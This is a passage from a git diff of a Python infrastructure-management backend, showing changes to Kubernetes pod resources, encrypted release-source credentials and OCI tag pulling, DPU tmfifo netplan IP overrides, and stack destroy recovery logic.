"128Mi"} + limits = {"cpu": "250m", "memory": "256Mi"} + return requests, limits + + def _find_running_client_pod( api_client: k8s_client.ApiClient, cert_secret_name: str, @@ -392,6 +408,7 @@ def _create_client_pod( read_only=True, ) + requests, limits = _client_pod_resources() pod = k8s_client.V1Pod( metadata=k8s_client.V1ObjectMeta( name=pod_name, @@ -412,8 +429,8 @@ def _create_client_pod( command=["sleep", "infinity"], volume_mounts=[volume_mount], resources=k8s_client.V1ResourceRequirements( - requests={"cpu": "10m", "memory": "16Mi"}, - limits={"cpu": "100m", "memory": "64Mi"}, + requests=requests, + limits=limits, ), ) ], @@ -426,8 +443,18 @@ def _create_client_pod( core_v1.create_namespaced_pod(cwc_namespace, pod) logger.info(f"Created qkview client pod: {pod_name}") except k8s_client.rest.ApiException as e: + error_detail = e.reason + # Extract server error message from response body if available + if e.body: + try: + body_json = json.loads(e.body) + if isinstance(body_json, dict) and "message" in body_json: + error_detail = body_json["message"] + except (json.JSONDecodeError, TypeError): + # Fallback to raw body string (truncated for readability) + error_detail = str(e.body)[:300] raise QKViewError( - f"Failed to create qkview client pod: {e.reason}", e.status + f"Failed to create qkview client pod: {error_detail}", e.status ) # Wait for pod to be ready diff --git a/backend/services/reachability/registry.py b/backend/services/reachability/registry.py index 8b3caba9..60efa56f 100644 --- a/backend/services/reachability/registry.py +++ b/backend/services/reachability/registry.py @@ -86,6 +86,27 @@ def __init__(self) -> None: # Registration / lifecycle # ------------------------------------------------------------------ + def reset_breaker_state(self) -> None: + """Drop all per-target state: breakers, last snapshots, names, last-success. + + For test isolation (#55). The registry is a process-global singleton + keyed by ``(target_type, target_id)``, so a breaker tripped OPEN by one + test -- a probe against cluster 1 in an integration test, say -- stays + open for every later test that reuses that id, and their mocked logic + short-circuits on BreakerOpenError before it runs. CI never saw it + because it runs the suites in separate processes; a monolithic + ``pytest tests/`` did. + + Deliberately leaves ``_probes`` and the configured session factory + alone: those are app wiring set once at startup, and tests that call + probes rely on them being registered. Only the mutable per-target + state that leaks between tests is cleared. + """ + self._breakers.clear() + self._latest.clear() + self._target_names.clear() + self._last_success_wall.clear() + def register(self, probe: Probe) -> None: if not probe.target_type: raise ValueError("Probe.target_type must be set") diff --git a/backend/services/release_registry_service.py b/backend/services/release_registry_service.py index 858c5812..86a2d656 100644 --- a/backend/services/release_registry_service.py +++ b/backend/services/release_registry_service.py @@ -108,6 +108,44 @@ def resolve_ga( return None + def get_or_create_observed(self, flo_version: str) -> int: + """ + Return the id of an observed BnkRelease row for this exact FLO chart version. + + Dedup-guarded: if an observed row with flo_version_min == flo_version already + exists it is returned as-is; otherwise a new row is inserted. The new row is + inactive (is_active=False) with no prefix or manifest so it never matches + resolve_ga() (which filters is_active=True). + + Call this only after resolve_ga() returned None — i.e. the version is not + covered by any known active release line. Source type = OBSERVED (not OCI). + """ + existing = ( + self.db.query(BnkRelease) + .filter( + BnkRelease.source_type == ReleaseSourceType.OBSERVED, + BnkRelease.flo_version_min == flo_version, + ) + .first() + ) + if existing: + return existing.id + + row = BnkRelease( + ga_label=f"Observed FLO {flo_version}", + product_line="BNK", + flo_version_prefix=None, + flo_version_min=flo_version, + flo_version_max=None, + manifest_version=None, + source_type=ReleaseSourceType.OBSERVED, + notes=f"Auto-observed on cluster scan: FLO chart version {flo_version}", + is_active=False, + ) + self.db.add(row) + self.db.flush() + return row.id + def list_releases(self, active_only: bool = True) -> list[BnkRelease]: """Return all (or active-only) release rows, newest-first by ga_label.""" q = self.db.query(BnkRelease) diff --git a/backend/services/release_source_service.py b/backend/services/release_source_service.py new file mode 100644 index 00000000..6adae461 --- /dev/null +++ b/backend/services/release_source_service.py @@ -0,0 +1,379 @@ +"""ReleaseSource CRUD and sync service (ADR-494).""" + +import logging +from datetime import UTC, datetime + +from packaging.version import InvalidVersion, Version +from sqlalchemy.orm import Session + +from core.encryption import encrypt_value +from core.errors import ConflictError, DecryptionError, NotFoundError +from models.bnk_deployable_release import BnkDeployableRelease +from models.release_source import ReleaseSource +from schemas.release_source import ( + FailedTag, + PullTagsSummary, + ReleaseSourceCreate, + ReleaseSourceResponse, + ReleaseSourceTag, + ReleaseSourceTagList, + ReleaseSourceUpdate, +) +from services.bare_metal.release_source_oci import registry_session # module-level for patchability + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Tag annotation helpers (module-level for unit-testability) +# --------------------------------------------------------------------------- + + +def _base_version(tag: str) -> "Version": + """Extract the leading x.y.z version from an OCI tag (e.g. "2.2.1-3.2226.0-0.0.511" → Version("2.2.1")). + + Returns Version("0.0.0") for unparse-able tags so sort order is stable. + """ + base = tag.split("-")[0] + try: + return Version(base) + except InvalidVersion: + return Version("0.0.0") + + +def _is_prerelease(tag: str) -> bool: + """Return True if the tag is a prerelease/dev build. + + Real F5 tag grammar (confirmed from live oras repo tags repo.f5.com): + - Stable builds: the FIRST hyphen-segment after x.y.z starts with a DIGIT + (e.g. "2.2.1-3.2226.0-0.0.511", "2.4.0-3.2981.1-release-version.17861144"). + - Dev/prerelease: that first segment starts with a LETTER + (e.g. "2.4.0-laiq", "2.4.0-rc.1", "2.1.0-ready-prod.15573925"). + + Also handles PEP 440 pre-release bases (alpha, beta, rc) via packaging.version. + """ + if _base_version(tag).is_prerelease: + return True + if "-" not in tag: + return False + first_post = tag.split("-")[1] + return bool(first_post) and not first_post[0].isdigit() + + +class ReleaseSourceService: + """CRUD operations and sync for first-class BNK release sources (ADR-494).""" + + def __init__(self, db: Session) -> None: + self.db = db + + # ------------------------------------------------------------------ + # Queries + # ------------------------------------------------------------------ + + def list_sources(self, *, active_only: bool = False) -> list[ReleaseSource]: + """Return all release sources, optionally filtered to active only.""" + query = self.db.query(ReleaseSource) + if active_only: + query = query.filter(ReleaseSource.is_active.is_(True)) + return query.order_by(ReleaseSource.name).all() + + def get_source(self, source_id: int) -> ReleaseSource: + """Return a single release source by id; raise NotFoundError if absent.""" + source = self.db.query(ReleaseSource).filter(ReleaseSource.id == source_id).first() + if source is None: + raise NotFoundError("release_source", source_id) + return source + + # ------------------------------------------------------------------ + # Mutations + # ------------------------------------------------------------------ + + def create_source(self, data: ReleaseSourceCreate) -> ReleaseSource: + """Create a new release source. Credential is encrypted before storage.""" + existing = self.db.query(ReleaseSource).filter(ReleaseSource.name == data.name).first() + if existing: + raise ConflictError("release_source", f"Release source '{data.name}' already exists") + + credential_encrypted = encrypt_value(data.credential) if data.credential else None + + source = ReleaseSource( + name=data.name, + kind=data.kind, + url=data.url, + credential_encrypted=credential_encrypted, + is_active=data.is_active, + auto_sync=data.auto_sync, + sync_interval_hours=data.sync_interval_hours, + description=data.description, + ) + self.db.add(source) + self.db.flush() + return source + + def update_source(self, source_id: int, data: ReleaseSourceUpdate) -> ReleaseSource: + """Partial update. Re-encrypts credential only if a new value is provided; clears it if set to None explicitly.""" + source = self.get_source(source_id) + + updated_fields = data.model_dump(exclude_unset=True) + + # credential is never stored as plaintext — handle it separately + if "credential" in updated_fields: + cred = updated_fields.pop("credential") + source.credential_encrypted = encrypt_value(cred) if cred else None + + # unique-name check if the name is changing + new_name = updated_fields.get("name") + if new_name is not None and new_name != source.name: + conflict = self.db.query(ReleaseSource).filter(ReleaseSource.name == new_name).first() + if conflict: + raise ConflictError("release_source", f"Release source '{new_name}' already exists") + + for field, value in updated_fields.items(): + setattr(source, field, value) + + self.db.flush() + return source + + def delete_source(self, source_id: int) -> None: + """Delete a release source. + + Catalog rows keep their source_id → NULL via FK ON DELETE SET NULL; + no cascade delete of catalog rows is performed. + """ + source = self.get_source(source_id) + self.db.delete(source) + self.db.flush() + + # ------------------------------------------------------------------ + # Sync + # ------------------------------------------------------------------ + + def sync_source(self, source_id: int, manifest_yaml: str) -> dict[str, int]: + """Sync catalog releases from a manifest YAML. + + Sets sync_status="syncing", calls DeployableReleaseRefreshService with + source_id stamping, then updates last_synced_at / release_count / + sync_status on the source row. + + The refresh runs inside a SAVEPOINT (begin_nested) so that any DB error + during the catalog flush (e.g. IntegrityError) is isolated: only the + savepoint is rolled back, the outer session remains clean, and the + original exception is re-raised without being masked by a secondary + PendingRollbackError. The "syncing" flush outside the savepoint is + preserved on success or overwritten with "error" on failure. + """ + source = self.get_source(source_id) + source.sync_status = "syncing" + self.db.flush() + + try: + from services.bare_metal.deployable_release_refresh import DeployableReleaseRefreshService + + with self.db.begin_nested(): + result = DeployableReleaseRefreshService(self.db).refresh_deployable_releases_from_oci( + manifest_yaml, source_id=source_id + ) + except Exception as exc: + # The savepoint was automatically rolled back when the nested block + # exited with an exception. The session is clean; the source object + # is still valid (its "syncing" update is outside the savepoint). + logger.error("sync_source: manifest sync failed for source %d: %s", source_id, exc) + source.sync_status = "error" + source.sync_error = "Manifest sync failed" + self.db.flush() + raise + + now = datetime.now(UTC) + source.last_synced_at = now + source.sync_status = "success" + source.sync_error = None + source.release_count = ( + self.db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.source_id == source_id) + .count() + ) + self.db.flush() + return result + + # ------------------------------------------------------------------ + # Live-fetch: list tags + pull tags (ADR-494 Phase A) + # ------------------------------------------------------------------ + + def list_available_tags(self, source_id: int) -> ReleaseSourceTagList: + """List manifest tags from the OCI/mirror registry. + + Best-effort: on any listing failure returns an empty tag list with + list_error set (never raises / never 500s from the route). + + Tags are returned semver-desc by the leading x.y.z segment. + Each tag is annotated with in_catalog (bnk_manifest_version match) + and prerelease (packaging.version pre-release flag on the base segment). + """ + source = self.get_source(source_id) + + try: + with registry_session(source) as sess: + raw_tags = sess.list_tags() + except Exception as exc: + logger.exception("list_available_tags failed for source %d", source_id) + if isinstance(exc, DecryptionError): + list_error = "credential decryption failed" + else: + list_error = "Failed to list tags from registry" + return ReleaseSourceTagList(tags=[], list_error=list_error) + + # Cross-reference existing catalog rows. + existing_versions: set[str] = { + row.bnk_manifest_version + for row in self.db.query(BnkDeployableRelease.bnk_manifest_version).all() + if row.bnk_manifest_version + } + + sorted_tags = sorted(raw_tags, key=_base_version, reverse=True) + annotated = [ + ReleaseSourceTag( + tag=t, + in_catalog=t in existing_versions, + prerelease=_is_prerelease(t), + ) + for t in sorted_tags + ] + return ReleaseSourceTagList(tags=annotated) + + def pull_tags(self, source_id: int, tags: list[str]) -> PullTagsSummary: + """Pull each requested tag from the OCI/mirror registry and upsert Catalog rows. + + Processing: + - One login per call (registry_session context manager). + - For each tag: helm pull + YAML extraction is done outside the savepoint + (network; failure → failed[]). + - The DB upsert runs inside begin_nested() so a DB error on one tag + does not invalidate the outer session for subsequent tags. + - Upsert mapping (see deployable_release_refresh._upsert_entry): + inserted → added (new Catalog entry) + updated (bnk_manifest_version exists) → skipped (already present) + service-skipped (FLO missing) → failed (reason: missing f5-lifecycle-operator) + - sync_status=success after the loop even on partial tag failure; + only a whole-operation failure (login / credential error) sets sync_status=error. + - Source stats (last_synced_at, sync_status, release_count) are updated + at the end, mirroring sync_source(). + + Returns PullTagsSummary with added / skipped / failed lists. + """ + source = self.get_source(source_id) + source.sync_status = "syncing" + self.db.flush() + + added: list[str] = [] + skipped: list[str] = [] + failed: list[FailedTag] = [] + + from services.bare_metal.deployable_release_refresh import DeployableReleaseRefreshService + + try: + with registry_session(source) as sess: + for tag in tags: + # Network I/O outside savepoint — a pull failure is recorded in failed[]. + try: + manifest_yaml = sess.pull_manifest_yaml(tag) + except Exception as pull_exc: + logger.warning( + "pull_tags: helm pull failed for tag %r (source %d): %s", + tag, + source_id, + pull_exc, + ) + failed.append(FailedTag(tag=tag, reason="helm/oras pull failed")) + continue + + # DB upsert inside savepoint for isolation. + try: + with self.db.begin_nested(): + result = DeployableReleaseRefreshService( + self.db + ).refresh_deployable_releases_from_oci( + manifest_yaml, source_id=source_id + ) + except Exception as db_exc: + logger.warning( + "pull_tags: upsert failed for tag %r (source %d): %s", + tag, + source_id, + db_exc, + ) + failed.append(FailedTag(tag=tag, reason="manifest processing failed")) + continue + + # Strict partition: each tag lands in exactly ONE bucket. + # Precedence: added > skipped > failed (service-skipped = FLO missing). + # NOTE: assumes one release entry per pulled tag manifest (F5 tag==internal- + # version convention). Counts would be approximate if a manifest carried + # multiple releases. + if result.get("inserted", 0) > 0: + added.append(tag) + elif result.get("updated", 0) > 0: + skipped.append(tag) + elif result.get("skipped", 0) > 0: + failed.append( + FailedTag(tag=tag, reason="missing f5-lifecycle-operator") + ) + else: + failed.append( + FailedTag(tag=tag, reason="no releases found in manifest") + ) + + except Exception as login_exc: + # Whole-operation failure (login / credential error). + logger.error( + "pull_tags: registry login failed for source %d: %s", source_id, login_exc + ) + source.sync_status = "error" + if isinstance(login_exc, DecryptionError): + source.sync_error = "credential decryption failed" + else: + source.sync_error = "Registry login failed" + self.db.flush() + raise + + # Update source stats — mirrors sync_source() tail (release_source_service.py:139-148). + now = datetime.now(UTC) + source.last_synced_at = now + source.sync_status = "success" + source.sync_error = None + source.release_count = ( + self.db.query(BnkDeployableRelease) + .filter(BnkDeployableRelease.source_id == source_id) + .count() + ) + self.db.flush() + + return PullTagsSummary(added=added, skipped=skipped, failed=failed) + + # ------------------------------------------------------------------ + # Response builder + # ------------------------------------------------------------------ + + @staticmethod + def to_response(source: ReleaseSource) -> ReleaseSourceResponse: + """Build a ReleaseSourceResponse from an ORM row. + + Constructed explicitly because has_credential derives from the + encrypted column rather than being stored directly. + """ + return ReleaseSourceResponse( + id=source.id, + name=source.name, + kind=source.kind, + url=source.url, + has_credential=bool(source.credential_encrypted), + is_active=source.is_active, + auto_sync=source.auto_sync, + sync_interval_hours=source.sync_interval_hours, + last_synced_at=source.last_synced_at, + sync_status=source.sync_status, + sync_error=source.sync_error, + release_count=source.release_count, + description=source.description, + created_at=source.created_at, + updated_at=source.updated_at, + ) diff --git a/backend/services/rshim_service.py b/backend/services/rshim_service.py index b43edd90..e3acbd60 100644 --- a/backend/services/rshim_service.py +++ b/backend/services/rshim_service.py @@ -373,10 +373,11 @@ def probe_status(self, project_id: int, dpu_id: int) -> RshimStatus: raise try: rshim_map = _enumerate_rshim_devices(client) - # Multi-DPU hosts: persist 192.168.{100+N}.1/30 on each - # tmfifo_netN so the host side matches what bf.cfg renders. - # No-op on single-DPU hosts. - _ensure_host_tmfifo_ips(client, rshim_map) + # Persist the correct /30 on every tmfifo_netN so the host + # matches what bf.cfg renders on the DPU side. Passes `dpu` + # and `db` so sibling DPU IPAM allocations on the same host + # are all pinned (no peer interface reverts to the formula). + _ensure_host_tmfifo_ips(client, rshim_map, dpu=dpu, db=self.db) rshim_device = _select_rshim_device(rshim_map, dpu.pci_address) self._persist_rshim_device(dpu, rshim_device) state = _probe_rshim_state(client, rshim_device=rshim_device) @@ -688,10 +689,11 @@ def probe_inventory(self, project_id: int, dpu_id: int) -> InbandInventory: # expose rshim0, rshim1, ... — without this mapping every action # below would silently target rshim0 (the wrong DPU). rshim_map = _enumerate_rshim_devices(client) - # Persist 192.168.{100+N}.1/30 on the host's tmfifo_netN - # interfaces so multi-DPU hosts match what bf.cfg rendered on - # the DPU side. No-op on single-DPU hosts. - _ensure_host_tmfifo_ips(client, rshim_map) + # Persist the correct /30 on every tmfifo_netN so the host + # matches what bf.cfg renders on the DPU side. Passes `dpu` + # and `db` so sibling DPU IPAM allocations on the same host + # are all pinned (no peer interface reverts to the formula). + _ensure_host_tmfifo_ips(client, rshim_map, dpu=dpu, db=self.db) rshim_device = _select_rshim_device(rshim_map, dpu.pci_address) self._persist_rshim_device(dpu, rshim_device) @@ -1211,35 +1213,48 @@ def _select_rshim_device( _HOST_TMFIFO_NETPLAN = "/etc/netplan/50-bnk-forge-tmfifo.yaml" -def _build_host_tmfifo_netplan(indexes: set[int]) -> str: - """Render the netplan YAML for a set of rshim indexes.""" +def _build_host_tmfifo_netplan( + indexes: set[int], + ip_overrides: dict[int, str] | None = None, +) -> str: + """Render the netplan YAML for a set of rshim indexes. + + ip_overrides: maps rshim index to a persisted host-side IP (bare, no + CIDR suffix). When provided the override replaces the formula + ``192.168.{100+n}.1`` for that index. Indexes only present in + ip_overrides (not in rshim_map at discovery time) are included so a + freshly allocated IPAM address is always written. + """ + overrides = ip_overrides or {} + all_indexes = indexes | set(overrides.keys()) body = [ "# Managed by bnk-forge — DO NOT EDIT.", "# Each /dev/rshimN exposes a tmfifo_netN to the host. The rshim", "# driver only auto-assigns 192.168.100.1/30 to tmfifo_net0; this", "# file persists the matching /30 on every additional tmfifo_netN", - "# so multi-DPU hosts can reach 192.168.{100+N}.2 (the DPU side)", - "# reliably across reboots.", + "# so multi-DPU hosts can reach the DPU side reliably across reboots.", "network:", " version: 2", " renderer: networkd", " ethernets:", ] - for n in sorted(indexes): + for n in sorted(all_indexes): + host_ip = overrides.get(n) or f"192.168.{100 + n}.1" body.extend([ f" tmfifo_net{n}:", " dhcp4: false", " dhcp6: false", " addresses:", - f" - 192.168.{100 + n}.1/30", + f" - {host_ip}/30", ]) return "\n".join(body) + "\n" def _ensure_host_tmfifo_ips( client: paramiko.SSHClient, rshim_map: dict[str, str], + *, dpu: Any | None = None, db: Session | None = None, ) -> None: - """Persist 192.168.{100+N}.1/30 on every tmfifo_netN via netplan. + """Persist the correct /30 on every tmfifo_netN via netplan. NVIDIA documents two host-side patterns for multi-DPU configuration: a single ``br_tmfifo`` bridge (one /24) or per-interface /30 subnets. @@ -1250,9 +1265,12 @@ def _ensure_host_tmfifo_ips( The rshim kernel driver auto-assigns ``192.168.100.1/30`` to ``tmfifo_net0`` only; ``tmfifo_net1+`` come up bare with link-local - only. Single-DPU hosts therefore need no intervention — we skip - early. Multi-DPU hosts get a single ``50-bnk-forge-tmfifo.yaml`` that - pins every interface's IP. + only. Single-DPU hosts need no intervention UNLESS the DPU has a + cluster-scoped IPAM allocation that differs from the kernel default + (``dpu.host_tmfifo_ip`` set). Multi-DPU hosts always get a single + ``50-bnk-forge-tmfifo.yaml`` that pins every interface's IP for ALL + DPUs on that host, sourced from the DB so one probe never clobbers + another DPU's IPAM-allocated address with a formula value. Best-effort: any failure (no passwordless sudo, netplan missing, apply error) is logged and swallowed so a Discover never fails on a @@ -1269,11 +1287,97 @@ def _ensure_host_tmfifo_ips( continue if 0 <= n <= 100: indexes.add(n) - if len(indexes) < 2: - # Single-DPU host — kernel default on tmfifo_net0 is enough. + + multi_rshim = len(indexes) >= 2 + + # Build IP overrides from ALL DPUs on this host with persisted IPAM + # allocations. When the cluster allocator assigns non-default /30s, + # every host interface must reflect the correct address — pulling from + # the full list avoids one probe overwriting a peer DPU's interface + # with a formula value. + ip_overrides: dict[int, str] = {} + if dpu is not None: + host_node_ip = getattr(dpu, "host_node_ip", None) + if db is not None and host_node_ip: + # Query ALL cluster-member DPUs on this host that have IPAM IPs. + # Scoped by project_id (INV-1) and host_node_ip so a foreign + # project's same-IP host never pins an address into this netplan. + # The probe subject's kubernetes_cluster_id is intentionally NOT + # used as a filter: when the probed DPU is an orphan + # (kubernetes_cluster_id IS NULL), the old equality conjunct + # produced a contradiction with isnot(None) that returned an empty + # result set — clobbering a clustered sibling's persisted + # host_tmfifo_ip with a formula address and breaking its tmfifo + # link. A host belongs to one cluster, so scoping to the host + # (host_node_ip) is the correct invariant. + host_dpus: list[Any] = ( + db.query(Dpu) + .filter( + Dpu.project_id == dpu.project_id, + Dpu.kubernetes_cluster_id.isnot(None), # orphans never contribute + Dpu.host_node_ip == host_node_ip, + Dpu.host_tmfifo_ip.isnot(None), + ) + .all() + ) + else: + # No session (tests / callers without DB) — use only the + # probed DPU; the single-DPU case still works correctly. + # An orphan probe subject (kubernetes_cluster_id is None) contributes + # nothing: derive_tmfifo_dpu_ip uses the rshim formula for orphans, + # so mixing a persisted host_tmfifo_ip with the formula DPU IP + # produces a dead link (ADR-424 finding A). + h_ip = getattr(dpu, "host_tmfifo_ip", None) + host_dpus = ( + [dpu] if (h_ip and getattr(dpu, "kubernetes_cluster_id", None) is not None) + else [] + ) + + for d in host_dpus: + h_ip = getattr(d, "host_tmfifo_ip", None) + if not h_ip: + continue + pci = getattr(d, "pci_address", None) + + # Confident-match: pci_address (or base-BDF) in rshim_map. + # On multi-rshim hosts, _select_rshim_device falls back to + # rshim0 when pci_address is null/unmatched, which would + # silently mis-assign an IPAM IP to the wrong interface. + # Skip the override and let the formula apply instead. + rshim_name: str | None = None + if pci: + rshim_name = rshim_map.get(pci) + if rshim_name is None and "." in pci: + rshim_name = rshim_map.get(pci.rsplit(".", 1)[0]) + if rshim_name is None: + if multi_rshim: + logger.warning( + "_ensure_host_tmfifo_ips: DPU id=%s pci_address %r not found in " + "rshim_map on multi-rshim host — falling back to formula IP. " + "The tmfifo link may be dead: host side gets formula " + "192.168.{100+n}.1 while DPU side uses the persisted IPAM IP. " + "Ensure pci_address is populated on the DPU record.", + getattr(d, "id", "?"), pci, + ) + continue + # Single-rshim host: use the only rshim entry. + rshim_name = next( + (name for name in rshim_map.values() if name.startswith("rshim")), + "rshim0", + ) + + try: + idx = int(rshim_name[len("rshim"):]) + except (ValueError, IndexError): + continue + ip_overrides[idx] = h_ip + + if len(indexes) < 2 and not ip_overrides: + # Single-DPU host with no IPAM override — kernel default + # 192.168.100.1/30 on tmfifo_net0 is sufficient. return - target = _build_host_tmfifo_netplan(indexes) + target = _build_host_tmfifo_netplan(indexes, ip_overrides) # Idempotency: skip the write + apply when the file already matches. rc, current, _ = _exec( @@ -1312,8 +1416,8 @@ def _ensure_host_tmfifo_ips( ) return logger.info( - "bnk-forge: applied multi-rshim tmfifo IPs via %s for rshim indexes %s", - _HOST_TMFIFO_NETPLAN, sorted(indexes), + "bnk-forge: applied tmfifo IPs via %s for rshim indexes %s", + _HOST_TMFIFO_NETPLAN, sorted(indexes | set(ip_overrides.keys())), ) diff --git a/backend/services/scanner/__init__.py b/backend/services/scanner/__init__.py index 121bdec9..e65082d2 100644 --- a/backend/services/scanner/__init__.py +++ b/backend/services/scanner/__init__.py @@ -149,6 +149,30 @@ def scan(self, cluster_id: int) -> dict[str, Any]: data["namespaces"], ) + # ADR-494 Phase B: persist the running BNK release line identified by this scan. + # FLO chart version (e.g. "2.21.13-0.0.28") resolves to a release-line registry + # row (version-line granularity, not exact build). Unrecognised versions upsert + # an observed row so the information is preserved for the drift signal. + try: + from services.bnk_upgrade_service import detect_current_bnk_version + from services.release_registry_service import ReleaseRegistryService + + running_flo = detect_current_bnk_version(bnk_install) + if running_flo is not None: + registry = ReleaseRegistryService(self.db) + ga = registry.resolve_ga(flo_version=running_flo) + # SAVEPOINT: if get_or_create_observed's internal flush raises a + # DB-level error, only this savepoint is rolled back, leaving the + # outer session intact for the subsequent platform-context flush. + with self.db.begin_nested(): + cluster.running_release_id = ( + ga.release_id if ga is not None else registry.get_or_create_observed(running_flo) + ) + except Exception as exc: + # Broad except is deliberate: discovery write-back must never fail the scan + # (mirrors the adjacent proxy-inventory pattern above). + logger.warning("running_release_id write-back failed (non-fatal): %s", exc) + # Proxy inventory (deliberate exception to "fetch is the only I/O module": # reuse outranks one-I/O-module here; proxy I/O lives in ProxyDiscoveryService) existing_proxies: dict[str, Any] = {"status": "none", "proxies": [], "discovered_count": 0, "total_scanned": 0} diff --git a/backend/services/stack_deployment_service.py b/backend/services/stack_deployment_service.py index 8f520676..5aa3ac66 100644 --- a/backend/services/stack_deployment_service.py +++ b/backend/services/stack_deployment_service.py @@ -826,19 +826,11 @@ def _lookup_library_module(self, module_path: str) -> ModuleLibrary | None: Uses the same query (active rows, newest sync wins) that the deploy path uses so the preflight and the apply agree on what "present" means. """ - return ( - self.db.query(ModuleLibrary) - .filter( - ModuleLibrary.path == module_path, - ModuleLibrary.is_active, - ) - .order_by( - ModuleLibrary.is_latest.desc(), - ModuleLibrary.last_synced.desc().nullslast(), - ModuleLibrary.id.desc(), - ) - .first() - ) + # Canonical ordering lives in services.module_resolution so the + # secret-policy check and the stack map resolve the same row (#90 F8). + from services.module_resolution import resolve_module_row + + return resolve_module_row(self.db, module_path) def verify_template_modules_present( self, @@ -1617,6 +1609,8 @@ def _cleanup_blueprint_workspace_best_effort() -> None: module.status = ModuleStatus.APPLY_FAILED elif old_status == ModuleStatus.DESTROYING: module.status = ModuleStatus.DESTROY_FAILED + elif old_status == ModuleStatus.PLANNING: + module.status = ModuleStatus.PLAN_FAILED else: module.status = ModuleStatus.INIT_FAILED module.deployment_error = last_task.error or "Task failed" @@ -1625,13 +1619,39 @@ def _cleanup_blueprint_workspace_best_effort() -> None: module.status = ModuleStatus.DESTROYED else: module.status = ModuleStatus.APPLIED + elif old_status in (ModuleStatus.APPLYING, ModuleStatus.DESTROYING): + # No terminal task to learn from -- the worker died mid-run. + # A module that reached applying/destroying MAY OWN CLOUD + # RESOURCES: `tofu apply` creates IAM roles, VPCs and the + # like well before it finishes. Recovering it to + # not_initialized routed it into modules_to_delete below, + # which deletes the row with NO destroy attempt -- so the + # resources outlived Forge's knowledge of them and the next + # deploy hit EntityAlreadyExists (#30). Land it in the + # matching *_failed state instead so it is queued for a + # real destroy, which is idempotent if nothing was created. + module.status = ( + ModuleStatus.APPLY_FAILED + if old_status == ModuleStatus.APPLYING + else ModuleStatus.DESTROY_FAILED + ) + module.deployment_error = ( + "Worker died mid-run; recovered during stack destroy. " + "Resources may exist -- destroy will be attempted." + ) else: + # initializing / planning with no terminal task: nothing was + # applied, so nothing can be orphaned. Safe to delete. module.status = ModuleStatus.NOT_INITIALIZED module.deployment_error = "Stale transitional state recovered during destroy" logger.info(f"BUG-008: Recovered stale module {module.id} from {old_status} → {module.status}") self.db.commit() - # Check which modules have actual infrastructure to destroy + # Check which modules have actual infrastructure to destroy. + # Lazy import: tasks.parallel_tasks pulls in services.* (import cycle at + # module load); mirrors the existing import in _execute_stack_destroy. + from tasks.parallel_tasks import NO_INFRA_STATUSES + modules_to_destroy = [] modules_to_delete = [] @@ -1647,13 +1667,19 @@ def _cleanup_blueprint_workspace_best_effort() -> None: f"Cannot destroy stack: module '{module_name}' has operation in progress " f"(status: {module.status}). Wait for it to complete or cancel the operation first." ) - elif module.status in [ModuleStatus.APPLIED, ModuleStatus.APPLY_FAILED, ModuleStatus.DESTROY_FAILED]: - # CP-009: Has or may have infrastructure to destroy - # Don't require outputs — modules can create resources without output definitions - modules_to_destroy.append(module) - else: - # No infrastructure deployed (not_initialized, initialized, planned, init_failed, plan_failed) + elif (module.status or "") in NO_INFRA_STATUSES: + # Nothing was ever applied, so nothing can be orphaned. Same + # vocabulary the project-DELETE guard uses (#129), so the two + # cannot disagree about what "no infrastructure" means. modules_to_delete.append(module) + else: + # CP-009 / #30: has or MAY have infrastructure -- applied, + # apply_failed, destroy_failed, and anything unrecognised. + # Fail closed: an unknown status gets a destroy attempt (idempotent + # if nothing exists) rather than a silent row delete. Don't + # require outputs -- modules create resources without output + # definitions. + modules_to_destroy.append(module) # Delete modules with no infrastructure immediately for module in modules_to_delete: diff --git a/backend/services/stack_service.py b/backend/services/stack_service.py index dfa23bde..a3992a5b 100644 --- a/backend/services/stack_service.py +++ b/backend/services/stack_service.py @@ -32,6 +32,7 @@ from modules import get_module_registry from services.base_service import BaseService from services.module_capabilities import serialize_engine_metadata +from services.module_resolution import _map_order, resolve_module_row from services.workspace_manager import WorkspaceManager from utils.security import is_sensitive_input @@ -167,9 +168,10 @@ def _serialize_template_modules_with_capabilities(self, modules: list | None) -> ModuleLibrary.path.in_(module_paths), ModuleLibrary.is_active, ) - # D-033: multiple version rows may share a path — iterate so the - # preferred row (is_latest, newest id) lands last and wins the map. - .order_by(ModuleLibrary.is_latest.asc(), ModuleLibrary.id.asc()) + # D-033: multiple version rows may share a path. Ordering lives in + # services.module_resolution so this map cannot drift away from + # what stack deploy resolves (#90 F8). + .order_by(*_map_order()) .all() ) modules_by_path = {row.path: row for row in module_rows if isinstance(row.path, str)} @@ -320,10 +322,7 @@ def get_required_inputs( module_name = module_def.get("name", module_path) stack_variables = module_def.get("variables", {}) - library_module = self.db.query(ModuleLibrary).filter( - ModuleLibrary.path == module_path, - ModuleLibrary.is_active, - ).order_by(ModuleLibrary.is_latest.desc(), ModuleLibrary.id.desc()).first() + library_module = resolve_module_row(self.db, module_path) if not library_module: logger.warning(f"Module '{module_path}' not found in library, skipping input analysis") @@ -799,7 +798,42 @@ def get_instance(self, project_id: int, stack_id: int) -> StackInstance: "modules": serialized_modules, } - def deploy_stack(self, project_id: int, stack_id: int) -> dict: + def _stamp_host_release(self, stack: StackInstance, deployable_release_id: int) -> None: + """Stamp the chosen BNK release onto the bare-metal host's version_profile_id. + + Searches for bare_metal_host_id nested in stack.variables (module-scoped dict) + and updates the host so resolve_project_context picks up the per-deploy override. + No-op when the stack has no bare-metal host association. + """ + from models.bare_metal import BareMetalHost + + variables = stack.variables or {} + host_id: int | None = None + for value in variables.values(): + if isinstance(value, dict): + raw = value.get("bare_metal_host_id") + if raw is not None: + try: + host_id = int(raw) + except (ValueError, TypeError): + continue + break + + if host_id is None: + return + + host = self.db.query(BareMetalHost).filter(BareMetalHost.id == host_id).first() + if host is None: + return + + host.version_profile_id = deployable_release_id + self.db.flush() + logger.info( + "Stamped BareMetalHost %s version_profile_id=%s for stack %s deploy", + host_id, deployable_release_id, stack.id, + ) + + def deploy_stack(self, project_id: int, stack_id: int, *, deployable_release_id: int | None = None) -> dict: """Start stack deployment using StackDeploymentService.""" from services.stack_deployment_service import StackDeploymentService from services.system_service import SystemService @@ -813,6 +847,10 @@ def deploy_stack(self, project_id: int, stack_id: int) -> dict: stack = self._get_stack(project_id, stack_id) + # ADR-478 P1b: stamp the chosen BNK release onto the host carrier before module creation. + if deployable_release_id is not None: + self._stamp_host_release(stack, deployable_release_id) + try: deployment_service = StackDeploymentService(self.db) except Exception as e: @@ -851,7 +889,7 @@ def check_prerequisites(self, slug: str, project_id: int) -> dict: deployment_service 